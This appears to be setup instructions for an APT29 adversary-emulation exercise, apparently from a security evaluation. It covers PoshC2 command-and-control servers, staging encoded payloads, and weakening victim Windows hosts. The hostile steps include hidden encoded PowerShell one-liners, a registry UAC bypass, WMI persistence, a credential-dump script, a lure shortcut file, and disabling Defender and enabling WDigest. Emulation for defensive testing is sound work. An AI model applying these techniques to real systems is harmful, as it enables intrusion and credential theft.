We hope to capture the general structure of what is reported to have been seen being used by APT29. The infrastructure listed below is specific to Scenario 2. The requirements described herein should be considered a bare minimum to execute the scenario. If you have the time and resources to remain true-to-form, you may elect to stand up multiple of each of these servers, non-contiguous IP space, etc. If you are not concerned with emulating APT29 to this degree, this level of effort is not necessary. You could for instance, phish, serve payload, and exfil from/to the same server.
Please note that binary files hosted in Scenario_1 and Scenario_2 have been added to password protected zip files. The password for these files is "malware."
- Server running an offensive framework (we tested and executed using PoshC2 -- https://github.com/nettitude/PoshC2) capable of:
- Executing native PowerShell commands
- Loading and executing PowerShell scripts (.ps1)
- Generating a DLL payload and an encoded PowerShell oneliner
- Receiving and maintaining multiple callbacks at once
- Online OneDrive Account (https://onedrive.live.com/)
- Pre-compiled payloads are available in the resources directory; however, they are configured to connect back to static IP addresses 192.168.0.5 and 192.168.0.4.
- Just the encoded portion (ex:
WwBTAH...=
) into$enc_ps variable
(4th line from bottom) in schemas.ps1- ex:
$enc_ps = "WwBTAH...=="
- ex:
- The entire value (ex:
powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAH...=
) intoCommandLineTemplate
variable (under$ConsumerArgs
in 2nd paragraph) in stepFifteen_wmi.ps1- ex:
CommandLineTemplate="powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAH...="
- ex:
- The entire value (ex:
powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAH...=
) into-Value
variable (2nd line) in stepFourteen_bypassUAC.ps1- ex:
New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value "powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAH...="
- ex:
- [CMD] >
certutil -encode [file].dll blob
- [CMD] >
powershell
- [PS] >
$blob = (Get-Content .\blob) -join ""; $blob > .\blob
- Open
blob
file in text editor - Delete new line at end of file and copy all (CTRL-A, CTRL-C)
- Paste value (ex:
-----BEGIN CERTIFICATE-----...-----END CERTIFICATE-----
) into$bin
variable (6th line) inschemas.ps1
Copy payloads to C2 server (wherever is appropriate for your C2 framework to have access to these files)
Update stepFourteen_credDump.ps1 -- directions are in file
-
Login as non-domain admin user
-
Copy over the following files onto the Desktop of the initial victim:
-
Copy over MITRE-ATTACK-EVALS.HTML into the Documents folder of the initial victim
-
Execute
make_lnk.ps1
(Right click > Run with PowerShell), this will generate37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk
-
Drag
make_lnk.ps1
andschemas.ps1
to Recycle Bin and empty the Recycle Bin (Right click > Empty Recycle Bin)
- 3 targets
- 1 domain controller and 2 workstations
- All Windows OS (tested and executed against Win10 1903)
- Domain joined with at least 2 accounts (domain admin and another user)
- Microsoft Outlook must be available locally on one of the victim workstations
- Login in as domain admin user
- Ensure Windows Defender is off or configured to alert-only (https://support.microsoft.com/en-us/help/4027187/windows-10-turn-off-antivirus-protection-windows-security)
- Change network type to Domain (https://www.itechtics.com/change-network-type-windows-10/#2-_Setting_network_type_using_Windows_Registry)
- Set UAC to never notify (https://articulate.com/support/article/how-to-turn-user-account-control-on-or-off-in-windows-10)
- Enable WinRM (https://support.microsoft.com/en-us/help/555966)
- Enable UseLogonCredential in the WDigest Registry settings (https://support.microsoft.com/help/2871997/microsoft-security-advisory-update-to-improve-credentials-protection-a)
- Login as non-domain admin user
- Enable programatic access to Microsoft Outlook (https://www.slipstick.com/developer/change-programmatic-access-options/)
- Open Outlook and sign in if necessary